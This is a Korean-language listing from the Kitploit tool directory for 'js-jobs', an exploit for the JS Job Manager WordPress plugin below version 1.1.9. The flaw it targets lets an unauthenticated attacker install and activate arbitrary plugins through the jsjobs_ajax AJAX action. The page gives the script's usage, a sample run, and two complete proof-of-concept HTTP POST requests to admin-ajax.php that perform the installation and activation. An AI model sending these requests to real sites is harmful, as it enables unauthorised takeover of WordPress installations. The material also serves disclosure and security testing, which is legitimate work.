Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
js-jobs — JS Job Manager < 1.1.9 - 인증되지 않은 임의 플러그인 설치/활성화 | Kitploit
도구/GitHubGitHub/randomrobbiebf/js-jobs
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubrandomrobbiebf/js-jobs

js-jobs

JS Job Manager < 1.1.9 - 인증되지 않은 임의 플러그인 설치/활성화

저장소 보기
13년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

js-jobs

JS Job Manager < 1.1.9 - 인증되지 않은 임의 플러그인 설치/활성화

설명

플러그인의 jsjobs_ajax AJAX 액션은 인증된 사용자와 인증되지 않은 사용자 모두에게 제공되며, 특히 installPluginFromAjax 및 activatePluginFromAjax를 사용할 때 적절한 권한 검사와 CSRF 검사가 없습니다. 이로 인해 인증되지 않은 공격자가 WordPress 저장소에서 임의의 플러그인을 설치하고 (일부 제한 사항이 있지만) 활성화할 수 있습니다.

플러그인 버전에 대한 제어 기능이 없으므로 플러그인의 최신 버전이 설치됩니다.

사용 방법

root@kitploit:~
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s

예제

root@kitploit:~
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.

개념 증명 (PoC)

플러그인을 설치하려면:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close

action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>

플러그인을 활성화하려면 (여기에는 제한이 있습니다. 플러그인에 /.php 파일이 있어야 하며, 그렇지 않으면 활성화되지 않습니다):

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close

action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug> 
도구 다운로드